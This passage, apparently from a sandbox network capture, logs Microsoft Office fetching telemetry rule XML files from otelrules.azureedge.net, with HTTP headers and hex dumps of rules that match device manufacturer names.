2024-11-17 23:27:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232718Z-16547b76f7fkf5v9hC1DFW2y5s00000004s000000000rnvs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232718Z-16547b76f7fxqj4khC1DFWpypw00000002a000000000d21k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6ebc7fcd-801e-00a0-42aa-372196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232718Z-164f84587bftbpb6hC1DFWm4kg00000003q000000000k1tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232719Z-16547b76f7f2b5qzhC1DFWeag4000000037g000000006sdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232719Z-16547b76f7fsq6p7hC1DFWfx6800000003dg00000000cqnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 01d00230-301e-0052-7b89-3865d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232719Z-16547b76f7fgfpmjhC1DFWw6ec00000004b000000000mqxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232719Z-1866b5c5fbb5hnj5hC1DFW18sc000000052g00000000keem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232719Z-16547b76f7fp6s5dhC1DFWe28g000000025000000000kt05 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 7251505b-c01e-008d-4c79-372eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232720Z-164f84587bfm8kdnhC1DFWey4g000000051g00000000e8r7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a09399d2-801e-0015-5284-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232720Z-164f84587bf7k72dhC1DFWvczs00000004x000000000mkpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232720Z-16547b76f7f5b5tthC1DFWuk8400000003h000000000m8be x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
